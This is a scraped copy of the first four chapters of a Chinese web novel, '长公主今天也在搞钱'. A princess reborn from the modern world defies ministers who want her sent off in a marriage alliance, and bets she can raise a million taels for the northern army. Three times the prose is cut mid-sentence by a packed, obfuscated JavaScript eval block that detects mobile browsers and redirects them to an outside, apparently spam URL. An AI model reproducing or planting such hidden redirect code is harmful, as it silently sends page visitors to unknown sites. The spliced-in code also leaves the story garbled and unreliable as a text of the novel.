《长公主今天也在搞钱》 1. 第 1 章 更深露重,乌云满天。 本该沉寂的大梁皇宫内灯火通明,太监宫女们一反常态地行色匆匆,宫墙内外,处处都是提着灯笼的人。 几个角落里的小宫女趁着没人注意,小声交头接耳。 “今晚是什么事情,怎么这样热闹?” “我听说北疆有紧急军情,但是国库拿不出钱来发军饷,陛下特地招了几位大臣过来相商呢。” “说是打算送长公主去和亲……” “长公主?莫不是之前当众顶撞先帝、脾气超差的那位——” “嘘!小点声,竟敢在这里嚼长公主舌根,你不要命啦!” 忽听前面一阵嘈杂之声,她们几个连忙噤声,小心翼翼地朝前看去。 说曹操曹操到,只见一名身穿红色宫装的女子赫然闯入森森宫道,一大群同样衣着华贵的仆从侍女紧随其后,远远望去,竟像一团明艳张扬的火,杀气腾腾地一路烧进深宫。 正是八卦事件的中心——大梁长公主,沈鸣鹿。 沈鸣鹿此时怒火万丈。 半个时辰之前,她刚刚得知自己是大梁国库破产的罪魁祸首,所有的军费预算都被她给挥霍光了,导致如今北疆大营因断粮而哗变,三名监军太监被斩首,主将谢容与亲自进京催饷。 而据一帮朝堂重臣所言,目前唯一的解决办法,就是把她这个长公主送去北狄和亲。 尽管她是活了两辈子的人了,但不管是谁,在得知自己被扣了一顶大黑锅、且还马上要被打包送去北狄和亲之后,心情都不会比她好多少的。 要知道北狄的现任首领是个妻妾成群的六旬老头,根本没有几年好活,当地甚至还有妃嫔殉葬的习俗——送去和亲?那跟送她去死有什么区别! 从现代胎穿到大梁朝,沈鸣鹿好不容易长到了能够大展拳脚做些生意的年纪,她还有大好人生,绝不能就此被毁掉! 今晚这和亲诏书,绝不能发下来! 她提着裙摆匆匆踏上玉阶,还没来得及进御书房,就听到了张丞相的叹气声:“陛下莫要再犹豫了,不是我们不想留住长公主,是实在供不起啊。去年长公主又是建公主府、又是办及笄礼,还在朱雀大街新建了一个戏园子——这零零总总,起码就花去了二十万两银子,这钱若能省下来,哪里还有今日的北疆之难?” 礼部尚书愤慨道:“如此不顾国计民生的败家公主,简直是我大梁之耻!陛下,长公主此人,恐怕正应了去年灾星下落之兆,是特地来败坏我大梁国运的!必须将她送走!” “陛下,谢将军马上就要进京了,请您速速做下决断……” 门口的小太监正要进去通传,却见沈鸣鹿冷笑一声,气沉丹田,扬起一脚,直接踹开了御书房的大门! “诸位大人,莫非就只有这点出息!” 大门洞开,沈鸣鹿单手叉腰站在门口,迎着满堂震惊的视线,怒声斥道:“朝廷肱股之臣,不想办法守卫江山收复失地,只想着用女人推诿责任、向敌国委曲求全,真是丢人现眼!这样的志气,对得起我大梁边疆出生入死的将士吗?配得上我大梁太祖打下来的功勋吗!” 她的声音清脆又响亮,配上大门洞开的巨大动静,像是一颗红宝石落进一地小玻璃珠子中,把其他珠子全都撞得四散逃开,只剩它在中央叮叮当当地响着,极其鲜明地昭示着自己的存在感。 满室寂静,几位朝廷重臣和目瞪口呆地看着她,12岁的小皇帝沈钰缩在龙椅里,手里拿着毛笔,抬起沾满泪痕的小脸,懦弱地唤了一声:“阿姐。” 沈鸣鹿大步走过去,劈手夺过他手里的毛笔,顺便往小太监手里捧着的明黄绢帛看了一眼——还好,上面只有“和亲诏书”四个歪歪扭扭的大字,其余的内容还没写,还来得及! 下一秒,她感觉手臂一沉,小皇帝紧紧抱住了她的胳膊,将脸埋进她的袖子里,哽咽着哭了起来:“孤、朕也不想让阿姐去和亲,可是,呜呜呜……张大人他们都说,已经没有办法了呜呜呜……” 他哭得委屈至极,一旁的几位大臣好像又打开了忠君爱国的开关似的,纷纷指着沈鸣鹿训斥起来:“公主这话,实在、实在是狭隘!骄狂!莫非公主想因一己之私,让北疆将士血流成河,置国家危难于不顾!” “陛下,莫要因小失大,因私误公啊!自古以来,公主和亲便是应有之义!更何况正是长公主平日多有败家之举,才惹出如今这样的祸事,陛下岂能因私情耽误国事!” “慢着。”沈鸣鹿拿起桌上的鎏金算盘,熟练地拨弄了两下,一双凤眼微微眯起,盯着前面正说得起劲的几个人,慢声道,“各位大人,你们口口声声,都说是今日北疆之祸,是因本宫而起,都怪本宫把军费给挥霍光了。” 她一拍桌子:“户部尚书何在!” 一个中年男人腿肚子一哆嗦,哭丧着脸挪了过来:“公主,臣、臣在。” 沈鸣鹿和颜悦色:“刘大人,听说国库都是你们在管,那今日就请刘大人与我说说,每年国库进账几何?一般计划给北疆发多少军饷?几时发出?平日里皇室花销,又有何规划?” 刘尚书哆哆嗦嗦说不出口,沈鸣鹿冷下脸来,喝道:“说!” 刘尚书扑通一声跪下,硬着头皮道:“公主息怒,这,这几年到处都是旱灾水灾,国库进账实在有限,北疆军费……往年,约莫支取三、三百万两……” “三百万两?”沈鸣鹿冷笑一声,“那本宫去年花了二十万两银子,怎么就把军费给用光了呢?” 刘尚书苦着一张脸:“公主,这,咱们进账有限,可到处都是用钱的地方……公主一用,别的地方就没了……今年拨给北疆的军饷,其实只有三十六万两……” 沈鸣鹿长长地“哦”了一声,挑眉道:“原来是这样啊,国库资金如此紧张,本宫竟然直到今日才第一次听说。来,刘大人接着同我说说,你们平时是如何规划皇室的开销的?” 刘尚书汗如雨下:“这个,公主,这,自然是全凭贵人的心意,我们哪里管得了……” 沈鸣鹿勃然变色:“刘大人手下管着我大梁的钱袋子,却连最基本的轻重缓急也分不清楚,那我沈梁皇室要你何用!” “一个个口口声声为国为民,忠于大梁忠于陛下,遇到事情就全推给皇室宗亲,让本宫和陛下为你们的罪责买单!” “军费不足就怪本宫败家,军情紧急就让本宫和亲。” 沈鸣鹿将算盘拍在桌上,怒道:“这种话你们也说得出口!当天下人都是三岁稚儿不成!” 御书房内鸦雀无声,几个朝廷重臣被她骂得脸色青白交加,好不精彩。 小皇帝看着她,蒙着泪光的眼睛一点一点亮了起来,可是又忍不住迟疑:“可是,可是阿姐,如果不和亲的话,我们该怎么办啊?” 他低头看了一眼抖如筛糠的刘尚书,声如蚊讷:“刚才刘大人同我说,如今国库只剩三千两银子,连给父皇修陵寝的钱都没有了。但谢将军又派人传信来说,他必须要带一百万两银子回去才行。” 刘尚书缩在地上,哭道:“公主啊,臣等也不想让公主和亲,只是实在没有办法了……这一时半刻的,我们从哪去弄来这么多银两?” 张丞相也满脸沉痛:“倘若加重赋税,百姓又要脱一层皮,一年半载缓不过来。而打仗,哪是一年就能打得完的?之后的军饷又从哪里来?” 沈鸣鹿却忽然道:“倘若我有办法呢?” 苦情戏演得正起劲的几个人又被她这一句话给打断了,像是被按下了暂停键似的,所有的表情和动作都卡在一半,看起来颇为滑稽。 张丞相率先反应过来,轻咳一声:“国家大事,公主莫要说笑。” “谁同你们说笑了?”沈鸣鹿露出一个肆意的笑容,“各位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235089|181844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人听好了——本宫不仅能花钱,更能赚钱。若是让本宫来管国库,区区一百万两,根本不在话下!” 几位大臣面面相觑,没有一人相信她的大话。 “公主息怒……” “公主,现在可不是赌气任性的时候……” “是啊公主,即便您有通天的本事,也还需要时间。可是谢将军马上就要进京了,他哪有那么多时间拿来给公主筹钱!” 这时,门外响起一道冷漠的青年嗓音:“虽则时间还有三个月,但以长公主的本事,或许还是将北狄败到破产来得更快些。” 这话一出,嘈杂的御书房瞬间变得落针可闻。 这声音沙哑暗沉,仿佛卷挟着塞外边关的飞沙走石,又含着几分淡淡的血腥气,像狼盯住猎物时喉咙里发出的低鸣声,叫人不寒而栗。 御书房的大门吱呀一声打开,一个身披铠甲的高大青年缓步走入房内,身后跟着几声颤颤巍巍的“大人”、“将军”。 他气宇轩昂,身上的铠甲还残留着未洗净的血迹,虽然风尘仆仆,却更显得桀骜不驯,凛然而威严。 沈鸣鹿猛然回头,与来人对上视线。 ——正是镇国将军谢家世子,如今掌着北疆大营、前几日刚刚斩杀了三名监军太监的活阎王,谢容与! 他煞气太盛,御书房内伺候的几个太监不由得开始瑟瑟发抖,几个大臣也屏住了呼吸,而沈鸣鹿却只是心想,四五年未见,这人长高了许多,气势也更足了些。 竟然还有胆子在御前和她呛声了! 她嘲讽道:“想必大梁将士们还不曾知晓,谢将军头上冠着一个战神的名头,心里却存着这样的志向。” 谢容与先行了一个武将礼,方才不紧不慢道:“公主谬赞了。巧妇难为无米之炊,本将也打不出没粮草的胜仗。倘若朝廷拿不出银两,我也不好让将士们饿着肚子送死,还是公主和亲更加合算些。” 几位大臣听谢容与这幅口气,似乎竟是友军,暗中松了口气,又起劲地劝起来:“是啊公主,即便有三个月的时间,但赚钱岂是那么容易的事情……” “只要公主愿意和亲,咱们不用凑军费,百姓也能喘口气,请公主三思啊……” “我什么时候说不愿意和亲了?”沈鸣鹿一开口,便把他们的话又全堵了回去,但她又话锋一转,眼睛定定看向谢容与,“但倘若我真能赚到一百万两,谢将军,你是想和亲呢,还是想把北狄打到投降认输?” 谢容与微微提起嘴角,道:“如若三个月内能集齐百万军饷,臣等自然全力以赴,但若是不能——” “本宫自然也会尽自己的责任。”沈鸣鹿道。 谢容与略一拱手,敛下神色,面无表情地夸赞道:“公主深明大义。” “好!”不等几位大臣反应过来,沈鸣鹿便果断拍板道,“那我们就来打个赌吧。” “从现在起,国库中的三千两就由本宫来管。如果三个月后,本宫赚不到一百万两,那便依诸公所言,本宫会去和亲。” “但如果本宫赚得到——” 她微微一笑,缓步上前,将手里的算盘轻轻拍在谢容与胸前的铠甲上,玛瑙珠与铁甲相撞,发出叮当一声脆响:“谢将军,你要如何报答本宫呢?” 谢容与握住了那把算盘,漆黑的双目望着她,平静道:“若公主真有这个本事,本将随公主处置。” 沈鸣鹿收回手,乜他一眼:“这可是你说的。” 她狡黠一笑:“谢将军,等本宫将军饷交到你手中的时候,可要记得跪下给本宫磕几个响头,好好感恩戴德。” 谢容与微微眯起眼睛,面上似笑非笑:“但愿到时候,不是公主跪着向本将求饶。” 他们的目光在空中对撞,一个冷酷,一个嚣张,依稀有火花四溅。 沈鸣鹿缓缓道:“那么,三月为期,一言为定。” 2. 第 2 章 赌约已成。 围观全程的几位大臣满脸欲言又止,对这儿戏一般的赌局颇有微词,但苦主谢容与都同意了,他们自然也不好再说什么。 这一晚,和亲诏书到底是没有写出来。 但是沈鸣鹿心里清楚,她今晚的努力,只不过是把死刑变成了死缓,真正的难关才刚刚开始。 离开御书房的时候,已经天色将明。 沈鸣鹿踩着露水,走下高高的玉阶,贴身宫女紫苏跟在她身边,拿着账册道:“公主,我们每年食邑的收入只有两万两银子,便是加上公主此前收购的田庄和商铺,进账也不足四万两,纵使杀鸡取卵,时间也来不及。” 她忧心忡忡:“只有三个月的时间,却要筹一百万两银子,实在太难了。” 沈鸣鹿却一反刚才舌战群儒的嚣张作派,眉目沉静地看着天边冷色的霞光,道:“若是全靠自家的产出,时间当然不够用。” 她虽然是胎穿到这个世界,但直到前两年才完全恢复了前世的记忆,记起自己曾是现代社会中一家MCN机构的老板,手下管着若干达人,整天忙于营销炒作和直播带货。 在此之前,她虽然还有着做生意的本能,但也只是一个普通小孩,且在及笄之前一直住在宫中,处处受到管束。因此,她的手下并没有多少资产积累,一切都需要从零开始。 古代可没有短视频和直播间,更没有头条和热搜,她熟悉的那一套手段,还得因地制宜,重新编排。 她低声吩咐道:“帮我调查去年京城各商户的经营状况,还有最近百姓都在议论些什么,数据越详细越好。” 身为一国公主,沈鸣鹿相当于天生拥有了一个千万粉大V账号,一举一动,天然吸引着众人的目光。只要经营好舆论与流量,找对带货的门路,她就有数不尽的变现机会。 但在正式开始经营之前,她必须先掌握各个品类的数据和当前的话题热点。古代搞大数据虽然没有互联网时代那么容易,但好在她还有足够的人力可用。 紫苏虽然不明白她有什么打算,但一向忠心耿耿,领命而去。 “公主若是现在就认输,时间倒还来得及。” 一道声音突兀地在身后响起,沈鸣鹿脸色一变,回头瞪向来人:“怎么着,将军连三个月的时间也等不起,迫不及待想向本宫下跪了?” 谢容与淡定地走上前来,低头看着她耳边摇晃的红色玛瑙,道:“便是从前,臣也没少因公主被家父打板子。公主这次定下的赌注,实在是不痛不痒。” 树上的梅花开得如火如荼,他们如今站立的位置,赫然是两人十年前第一次打架的地方。 镇国将军府的世子,纵然修养再好也难掩高傲脾性,而自幼被父皇母后捧在手心的公主更是不必说。十岁以前,两人但凡一见面,便是水火不容,龙争虎斗,非要打得对方满地找牙才肯罢休。 当然,每次打完架之后,沈鸣鹿都会被罚去庙里吃斋半月,忏悔罪过。而谢容与则更惨些,不仅要被罚去跪祠堂,还要被他那古板的将军爹打到屁股开花。 即便如此,也阻止不了他们俩明里暗里地针锋相对。这几乎是刻进两人骨子里的习惯,几年不见,他们照样如此。 沈鸣鹿冷笑一声:“将军要嫌板子打得不够多,本宫倒是可以成全你。” 谢容与却道:“恐怕这次要打板子的另有其人。” 沈鸣鹿眨了眨眼,顺着他的视线向前看去,只见宫门处有几辆马车正紧紧靠在一起,帘子垂着,似乎有人正躲在里面窃窃私语,遮遮掩掩地议论着些什么。 看那马车的形制,不正是之前喋喋不休的那几个老登吗。 沈鸣鹿若有所思。 “原来如此,我还寻思着你去边疆吃土好几年,怎么反而还磨成了个只会要饭的软骨头。”染了丹蔻的指甲轻轻点着下巴,沈鸣鹿眯眼看向谢容与,“方才将军故意在御前激怒本宫,原来是项庄舞剑,意在沛公啊。” 刚才御书房里的所有人,个个都是揣着明白装糊涂——军部年年都在拨款,却还是出了这样大的窟窿,除了贪污还能是什么问题?想要以最快的速度拿到这笔数目惊人的银两,除了抄家还能有什么办法? 但这件事牵连太广,涉及面盘根错节,不宜搬到明面上来大动干戈。那几个位高权重的老登更是直接把一盆脏水泼给了她,想将这件事轻轻揭过,好继续他们的太平盛世。 刚刚谢容与故意在宫里说那番话,激怒她大做文章,抢尽风头,自然是为了以此为幌子,掩盖另一些不便见光的探查和动作。 她要是还搞不清这小子肚子里卖的什么药,那可真是白跟他勾心斗角这么多年了。 谢容与微微一笑:“自然还要多多仰仗公主。” “将军好算计。”沈鸣鹿瞪他,“拿本宫做你的障眼法,却一点好处也不给,天底下哪有这样好的生意。” 谢容与却上前一步,俯身在她耳旁低语:“公主可要想清楚,这可不是我们之间谁输谁赢的买卖——现如今,只有你我的立场才是一致的。” 不论是沈鸣鹿在明面上做生意,挣军饷,还是谢容与在私底下查贪污,清贪官,他们的目标都是一样的——补上军饷的缺口,继续守卫大梁的江山和脊骨,而不是低声下气地割地赔款,再奉上一个金尊玉贵的公主去和亲。 北狄野心勃勃,意在中原,岂是一个公主就能够搪塞的?如果真按照张丞相的法子敷衍这一遭,任凭蠹虫将国家越蛀越空,大梁迟早要彻底完蛋。 沈鸣鹿从他的目光里读懂了这人的盘算,暗暗地磨了磨牙。 被算计了,可恶。 而且这次她还不能报复回去,闹心。 多年死对头一朝变成同党,她的心里还真有些不爽。 谢容与见她双眸明亮地瞪着自己,脸颊晕红,仿佛有火在烧的样子,心情顿时变得更好了,眼眸微弯:“而且再提醒公主一句,接下来关于公主的流言蜚语怕是不会少,还需公主早做准备。” “用不着你啰嗦!”沈鸣鹿一把将他推开,哼了一声,大步朝宫门走去。 道理她都懂,但她现在不想看见这家伙,烦人。 她气冲冲地走回马车,被自己的侍女团团围住,却见她们表情僵硬,欲言又止。扭头一看,果然见谢容与还闲庭信步地跟在她身后,个高腿长,完全不似她能轻易甩掉的样子。 沈鸣鹿冷若冰霜:“将军还有何贵干?” “公主贵人多忘事。”谢容与不慌不忙,从怀里掏出那把鎏金算盘,用白布随便擦了擦,递到沈鸣鹿面前,“臣只是来归还公主失物罢了。” “拿走。”沈鸣鹿把头一扭,甩袖便走,“本宫见不得脏东西。” 谢容与从善如流地将算盘收了回去:“那臣就恭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235090|181844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敬不如从命了。” 马车的帘子放下,隔开车内外的视线。沈鸣鹿按了按太阳穴,这才感觉世界终于恢复清净。 她自言自语:“真倒霉,怎么偏偏摊上这么个人。” 和讨厌的人上了同一艘战船,的确令人不快。但不幸中之万幸,谢容与至少还是个有本事的人,不然也没法子跟她斗法这么多年。 虽则不必担心需要为这人善后,不过——毕竟作对多年,谢容与那结盟的话,沈鸣鹿表面答应,其实心中还是存疑的。 他们的立场,看起来确实不冲突。但是,谢容与却也未必会真的帮她。 毕竟若是最后军饷凑不齐,那么送自己出去和亲,到底也算是这帮人的保底之策。 谢容与那番言论,不过也是想要从她这里获得掩护,暂时不会对她加以阻挠罢了,不能尽信。她最终能够依靠的人,还是只有自己。 沈鸣鹿想到这里,轻轻一哼。无所谓,毕竟靠山山倒,想要掌握自己的命运,当然得靠自己的努力! “长公主留步——” 一阵呼喊声由远及近,刚刚启程的马车又停了下来。沈鸣鹿挑开帘子,问道:“什么事?” 一个小太监跑得气喘吁吁,他扑通一声在马车前面跪下,哭得上气不接下气:“长公主,不好了,大事不好了!太后娘娘、娘娘听说您要去和亲,在宫中寻短见了!” 沈鸣鹿骤然变色:“什么?!” 她这才意识到一个非常要命的问题——刚刚她被谢容与弄得心烦意乱,只想赶快离开,竟然忘了去见见这一世的亲娘! 她的母后,如今的当朝太后,那个性情说是黛玉转世也不为过,本来就天天窝在宫闱里伤春悲秋的,偏偏还年纪轻轻死了丈夫,这下宫里到处传闻她女儿要被派去和亲,还不得把她给愁死了。 而且,万一太后真出了什么事,整个大梁都得跟着披麻戴孝一个月,她还怎么大张旗鼓筹集军饷?那才真是全完了! 沈鸣鹿急忙问:“母后还好吗?没真出事吧?本宫现在立刻过去,快快快,启驾!回程!” 马夫连忙甩着缰绳调转方向,忙不迭地返回皇宫。 不等车子完全停稳,沈鸣鹿便一跃跳下马车,抄起裙摆,在侍女们的惊呼声中急匆匆地向慈宁宫冲去。 此时的慈宁宫已经闹得鸡飞狗跳。 三十多岁的年轻太后抱着白绫嚎啕大哭:“你们便让我死了吧!哀家的命怎么这样苦啊!” 小皇帝沈钰一宿未睡,人都是懵的,此时全然六神无主,只能跪在地上哐哐磕头:“母后,母后别哭了,都是朕的不是……” 宫女太监们乱作一团:“娘娘,娘娘您别冲动啊……” 沈鸣鹿三步并作两步,提着裙摆箭步上前:“母后!” 太后看见沈鸣鹿进来,立刻像是看见了主心骨一般,拨开身边围绕的宫女太监,跌跌撞撞地扑过去,哭得声嘶力竭:“我的儿啊,你怎么也如此命苦啊,那些黑心烂肠的东西欺负我们孤儿寡母,竟想出让你和亲这种主意……哀家就你们这么一双儿女,这下连个颐养天年的指望也没有了呜呜呜……” 她将白绫一扯,脖子一梗,凄然道:“反正先皇已经去了,哀家待在这宫中也是孤独终老,不如舍下这条命去,为我儿避开这场祸事!” 沈鸣鹿大惊失色:“母后,万万不可啊!!” 3. 第 3 章 沈鸣鹿眼疾手快地搂住她的腰,大喊:“母后!母后您快快把白绫放下,多为女儿攒点钱,女儿就不用去和亲了!” 太后:“诶?” 沈鸣鹿趁她这愣神的空档,赶紧解释道:“母后有所不知,女儿并不是非要去和亲不可!只要能够在三个月内筹到一百万两银子,我们不仅不用和亲,还能把北狄打个落花流水,叫他们再也不敢来犯!” 太后的脖子还悬在白绫上,泪眼朦胧的眼睛眨了好几下,才终于明白了她的意思,眉头微微松开,却仍然迟疑道:“可是,这一百万两银子,似乎数目不小呀?” 沈鸣鹿见她终于没再闹着寻死了,暗暗松了口气,先把她从白绫上扒拉下来:“所以母后替孩儿省着点,这宫里的白绫若是拿出去卖,还能换不少银子回来呢。” 太后虽则年轻,但一直过得稀里糊涂,平日只管礼佛,向来不理朝政,连钱财也不大过问。她被沈鸣鹿抱着往后拽,手却还抓着白绫不放,想了又想才隐约感觉不对:“可是哀家这些年攒的体己钱,也只有一万余两……” 一百万两,就算是卖白绫也得卖上几万条,那得攒到猴年马月去? 沈鸣鹿撒娇道:“母后,日积月累,积少成多嘛!母后是千金之躯,掉下的泪珠子也好值钱,可都得帮孩儿省下来些,不要浪费了。” 太后忍不住破涕为笑:“你这孩子。” 沈鸣鹿见她终于不哭了,暗暗擦了把汗,面上继续笑吟吟地乖巧道:“而且孩儿还有几个弄钱的新点子,母后想听吗?” 太后被她这么一打岔,一时还真忘记了寻死的事情,被她顺利地从白绫上抱了下来。 宫女太监们立即一拥而上,扶着浑身无力的太后回到凤椅,小皇帝也大大松了口气,膝行两步,讨好地给太后锤了两下腿:“母后莫要忧思过度了,阿姐一向有主见,才不会乖乖被他们送去和亲的。” 太后顿时冷下脸色,瞪他道:“若不是皇帝不争气,护不住你姐姐,哀家今日又何苦这般伤心。” 转头又对着沈鸣鹿和颜悦色:“鹿儿啊,你过来给哀家说说,咱们还有什么弄钱的好法子?” 沈鸣鹿往她身边一坐,笑眯眯地挽着她的胳膊:“其实刚才我说的话并不是哄母后的,母后今日这一哭,其实真是价值万金呢。” 太后睁大双眼,有些不相信地碰了碰自己的眼角:“你莫不是又在唬哀家,哀家若是真能哭出金子来,自己怎么不知道?” 沈鸣鹿循循善诱:“母后贵为一国太后,是千千万万大梁母亲的代表,您为我留下的眼泪,也正是天下母亲对子女的眷恋和爱,这些眼泪虽然不是金子做的,但是价值却比千金还重。” 她从侍女手中拿过白绫,抚着上面的泪痕,笑道:“而沾染了母后眼泪的白绫,身价自然也该水涨船高——五十两只是它的工本钱,从现在开始,它的价格至少应该翻一百倍。” 太后听得似懂非懂,犹豫道:“可是,哀家之前还拿它来挂梁来着……这东西沾了晦气,价格怎么还会更高?” 她虽然糊涂,但也不是傻子,若是让她高价去买别人上吊用的东西,她是绝对不会答应的——白送给她她都不要! 沈鸣鹿一脸理直气壮:“母后既然被我救了下来,这白绫如何还是晦气之物?况且母后想要悬白绫,出发点首先就是为了救我,我们母女相救,真情动天,这是大大的好事!要我说,这白绫不仅不晦气,反而是大吉之物,不仅有助于延年益寿,还能促成儿孙满堂,不论花多少钱供在家里都值当!” 太后扶着额头念了声佛,笑着叹气道:“你这嘴皮子,真是阎王来了也得给你说活了。罢了,你一向做事是有成算的,这些事情我也不懂,就随你去吧。” 沈鸣鹿嘿嘿一笑:“母后就等着看孩儿的表现吧。” 太后到底是大哭了一场,很快就感到疲乏,被众人扶到寝殿去休息了。 沈鸣鹿走出慈宁宫,她手里握着那条半湿不干的白绫,站在高台上举目四望,忽然感慨道:“没想到这个时节就有桃花了。” 现在还在正月中,京城的气候还挂在寒冬的尾巴上,平常桃树在这个时候还是光秃秃一片,而今年慈宁宫周围的桃树上零零星星挂着粉红花蕊,加上四周开得正艳的胭脂梅林,更是热闹非凡。 太后的贴身宫女秋棠送她出来,此时也笑着应和道:“公主说的是,今年天气较往年暖和些,咱们慈宁宫里的桃花确实开得早。” 却见沈鸣鹿眉毛一扬,严肃道:“不,这是因为我和母后母女情深,感动天地,是以天上花神特来化身显圣的。” 秋棠听得一愣一愣的:“啊?” 沈鸣鹿眉开眼笑,双手拍掌,盖章定论:“慈母落泪,百花应声开放,这是大吉兆啊!” 秋棠反应过来,也忍不住两眼弯弯,道:“长公主说的是。” 沈鸣鹿一双明亮的眼睛朝她望来,弯起眉眼道:“这样神奇的天象,应当请钦天监的大人们记录下来才对——秋棠姐姐,你说是不是?” 秋棠:“……” 秋棠大彻大悟:“是的长公主,我这就派人去请钦天监的大人来鉴此奇景。” 她一向是个办事利索的,得了指使,立刻就匆匆去安排了。沈鸣鹿目送她的身影走远,忽然袖子被人轻轻扯了下,回头一看,小皇帝沈钰正眼巴巴地看着她,也不知道在她身边猫了多久。 沈钰问:“阿姐,你刚刚跟母后说的那些话,都是真的吗?” 他年幼失怙,虽然匆匆被推上了至高之位,可还是孩童心性,此时一双黑溜溜的眼睛大睁,里面装满了好奇和跃跃欲试。 沈鸣鹿呼噜一把他的脑袋:“干嘛,你也想在宫里挂一条白绫备着?” 沈钰还煞有其事地点头:“嗯!” 还嗯!沈鸣鹿直接给了他一个脑瓜崩:“长点脑子吧陛下!那些言官可没母后那么好说话,小心他们直接在盘龙柱上碰死,那样本宫就是把吉祥话说翻天也没用了。” 沈钰痛得嗷嗷叫,他低下头,有些不好意思地嘟囔道:“可是,朕也想帮帮阿姐嘛。” 沈鸣鹿轻啧一声:“要是真想帮本宫,那就在朝堂上多替本宫说几句好话,别一天到晚光被那些老臣牵着鼻子走了,他们说什么就是什么,那你身为皇帝的威严何在?” 沈钰瘪嘴:“朕知道了。” 他又左右看看,见平时跟着他的太监都还隔着一段距离,这才悄悄地把一样东西从袖子里掏出来,迅速塞进沈鸣鹿手里。 然后他不等沈鸣鹿反应,囫囵往她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235091|181844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后推了两把,说:“好了,阿姐还得出去筹银子,莫在宫中闲逛了。” 沈鸣鹿还以为他给自己塞了什么绝世机密,也跟着紧张起来,悄悄把那东西收进袖中,面上佯装若无其事,清清嗓子道:“真是长大了,现在还赶起本宫来了,行行,本宫走便是!” 等出了宫门坐上马车,她小心翼翼把袖中的东西拿出来一看,却发现是个鼓鼓囊囊的小荷包,刺绣的线头有些磨损,应当已经有些年头了。 解开带子一看,里面赫然是一把金瓜子——约莫是先皇在时,每年过年时赏下来的。 沈钰虽然是太子,但性子一向温吞老实,平时也没什么用钱的地方,就把收到的金瓜子全攒起来了。 而现在,又全都给了她。 沈鸣鹿捏着荷包,心想,真是个笨蛋皇帝。 笨蛋皇帝,破产王朝,糊涂太后——这个家没有她可怎么办啊。 沈鸣鹿忍不住叹了口气,语气深沉地感慨道:“天将降大任于斯人也——” 身旁的侍女正想帮她接下去,顺道夸夸公主有文化,却听沈鸣鹿继续道:“必先使其有钱。” 侍女:? 沈鸣鹿也没管身边满脸问号的侍女,将荷包揣好,重新拿起那条白绫,微微一笑:“金山银山,就从这条白绫开始。” 上天给她送来了绝佳的话题和选品,她可不能浪费了。 第二天一大早,长公主的马车浩浩荡荡地去了护国寺。 沈鸣鹿这次摆足了公主架子,宝马香车,帷幔重重,赤金绣线的公主旗帜在风中猎猎作响,8名力士前后鸣锣开道,侍女捧着香炉左右随行。 这样大的阵仗,又赶在早市最热闹的时候,路上人头攒动,百姓们避在两旁,等她的马车走后,禁不住开始交头接耳。 “这么一大早,长公主是要去哪?” “看样子是往护国寺去的。” “莫非是怕被送去和亲,也想抱抱佛脚?” 这话一出,惹得窃笑一片。 有老人叹道:“平日不惜福,临时去求佛又有什么用?长公主如此败家,已是将自己的福气挥霍殆尽了,若是真的去和亲,还能为自己攒点福德,可她偏偏要再折腾一出,唉。” 他摇了摇头,众人也都唏嘘不已。 经过一天的时间,长公主的赌约已经传遍了京城,但和这个消息一起传出去的,还有她过往的种种败家行径。 现在京城百姓议论最多的,就是长公主平日的吃穿用度多么豪奢、建府花了多少银子、又如何任性妄为之类,然后再骂上一句:真是败家! 舆论甚嚣尘上,短短一天时间里,长公主已经变成了奢靡无度的宗室典型,百姓们根本不同情她,甚至巴不得这位公主赶紧吃瘪,然后乖乖去和亲。 却忽然听几个小童清脆唱道:“……太后一滴泪,菩萨也牵挂。” 众人一时莫名,一个闲汉叫住几个玩闹的小童,蹲下问道:“娃娃,你们刚才嘴里唱的是什么?” “唱的是儿歌呀,还能是什么?” 孩子们根本不以为意,嬉笑着玩闹成一团,很快又远远跑开了,只有那稚嫩的声音还在遥遥传来: “白绫绕佛塔,福寿延万家,太后一滴泪,菩萨也牵挂。” 4. 第 4 章 马车骨碌碌驶出城门,将流言蜚语抛在身后,朝着近郊山上的护国寺而去。 这是距离京城最近的一座寺庙,一向香火鼎盛,善男信女往来不绝。 挑开车帘,远远瞧见护国寺那金光闪闪的牌匾,沈鸣鹿目光灼灼,心中升起熊熊斗志。 以前沈鸣鹿每次和谢容与打完架,都会被母后送到这儿念经吃斋,在佛前跪着数蚂蚁。 老方丈虽然慈眉善目,总是一副笑眯眯的样子,但却是极有原则的一个人,即便年幼的公主在他面前撒泼打滚吵着闹着要吃肉,他也不会心软半分。 不过这一次,绝不会重蹈覆辙。 算盘珠子碰在一起,嗒嗒作响。沈鸣鹿停下手指,眯眼一笑。 她今日有备而来,必要把这位老方丈给拿下,让他心甘情愿地为她的白绫代言! 